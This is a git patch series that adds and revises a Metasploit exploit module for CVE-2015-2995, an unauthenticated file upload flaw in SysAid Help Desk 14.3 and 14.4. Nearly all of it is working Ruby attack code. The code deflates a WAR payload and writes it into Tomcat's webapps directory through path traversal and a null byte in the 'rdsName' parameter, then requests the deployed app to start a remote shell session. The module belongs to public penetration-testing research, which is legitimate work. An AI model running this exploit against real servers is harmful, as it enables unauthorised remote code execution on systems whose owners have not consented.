From 62993c35d3cd8ba25efb26d8f8ec3534cbe6ccce Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 21:45:14 +0100 Subject: [PATCH 1/5] Create sysaid_rdslogs_fle_upload.rb --- .../multi/http/sysaid_rdslogs_fle_upload.rb | 127 ++++++++++++++++++ 1 file changed, 127 insertions(+) create mode 100644 modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb diff --git a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb new file mode 100644 index 0000000000..752e9ec7fd --- /dev/null +++ b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'zlib' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SysAid Help Desk rdslogs Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. + The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated + file uploads and handles zip file contents in a insecure way. Combining both weaknesses + a remote attacker can accomplish remote code execution. Note that this will only work if the + target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduce a protection + against null byte injection in file names. This module has been tested successfully on version + v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid + seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability + from being exploited. + }, + 'Author' => + [ + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2015-2995' ], + [ 'OSVDB', 'TODO' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + [ 'URL', 'FULLDISC_URL' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => false, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + Opt::RPORT(8080), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for WAR deployment', 15]), + OptString.new('TARGETURI', + [true, 'Base path to the SysAid application', '/sysaid/']) + ], self.class) + end + + + def check + servlet_path = 'rdslogs' + bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'vars_get' => { + 'rdsName' => bogus_file + } + }) + if res and res.code == 200 + return Exploit::CheckCode::Detected + end + end + + + def exploit + app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + tomcat_path = '../../../../' + servlet_path = 'rdslogs' + + # We need to create the upload directories before our first attempt to upload the WAR. + print_status("#{peer} - Creating upload directory") + bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))), + 'ctype' => 'application/xml', + 'vars_get' => { + 'rdsName' => bogus_file + } + }) + + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + + # We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail + print_status("#{peer} - Uploading WAR file...") + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'data' => Zlib::Deflate.deflate(war_payload), + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'rdsName' => tomcat_path + app_base + ".war" + "\x00" + } + }) + + # The server either returns a 200 OK when the upload is successful. + if res and (res.code == 200) + print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + + " seconds for deployment") + register_files_for_cleanup("webapps/" + app_base + ".war") + sleep(datastore['SLEEP']) + else + fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed") + end + + print_status("#{peer} - Executing payload, wait for session...") + send_request_cgi({ + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + end +end From d5b33a00743a4f2ebd78ce3907d26c4584205845 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 3 Jun 2015 22:01:13 +0100 Subject: [PATCH 2/5] Update sysaid_rdslogs_fle_upload.rb --- modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb index 752e9ec7fd..ce3fa0d722 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', 'CVE-2015-2995' ], + [ 'CVE', '2015-2995' ], [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'FULLDISC_URL' ] From ea49fd2fdc7186aff61ad60febbb7170a35ebcb5 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 20 Jun 2015 16:59:28 +0100 Subject: [PATCH 3/5] Update sysaid_rdslogs_fle_upload.rb --- modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb index ce3fa0d722..d38a7b1687 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb @@ -34,9 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2015-2995' ], - [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], - [ 'URL', 'FULLDISC_URL' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, From 57c4a3387b4ae6e15fd811a0b5984ecc6ad45a29 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jul 2015 12:09:18 -0500 Subject: [PATCH 4/5] Fix paths for windows and cleanup --- .../multi/http/sysaid_rdslogs_fle_upload.rb | 37 ++++++++++++------- 1 file changed, 23 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb index d38a7b1687..c720e68f6b 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SysAid Help Desk rdslogs Arbitrary File Upload', + 'Name' => 'SysAid Help Desk 'rdslogs' Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated @@ -62,6 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check servlet_path = 'rdslogs' bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) + res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), 'method' => 'POST', @@ -69,7 +70,8 @@ class Metasploit3 < Msf::Exploit::Remote 'rdsName' => bogus_file } }) - if res and res.code == 200 + + if res && res.code == 200 return Exploit::CheckCode::Detected end end @@ -103,24 +105,31 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => Zlib::Deflate.deflate(war_payload), 'ctype' => 'application/octet-stream', 'vars_get' => { - 'rdsName' => tomcat_path + app_base + ".war" + "\x00" + 'rdsName' => "#{tomcat_path}/tomcat/webapps/#{app_base}.war\x00" } }) # The server either returns a 200 OK when the upload is successful. - if res and (res.code == 200) - print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + - " seconds for deployment") - register_files_for_cleanup("webapps/" + app_base + ".war") - sleep(datastore['SLEEP']) + if res && res.code == 200 + print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment") + register_files_for_cleanup("tomcat/webapps/#{app_base}.war") else - fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed") + fail_with(Failure::Unknown, "#{peer} - WAR upload failed") end - print_status("#{peer} - Executing payload, wait for session...") - send_request_cgi({ - 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), - 'method' => 'GET' - }) + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{peer} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi({ + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end end end From 00adbd7f644369afba33c66d8dd55285c900cf03 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 17 Jul 2015 12:09:42 -0500 Subject: [PATCH 5/5] Fix quotes --- modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb index c720e68f6b..7e3a02f8de 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SysAid Help Desk 'rdslogs' Arbitrary File Upload', + 'Name' => "SysAid Help Desk 'rdslogs' Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated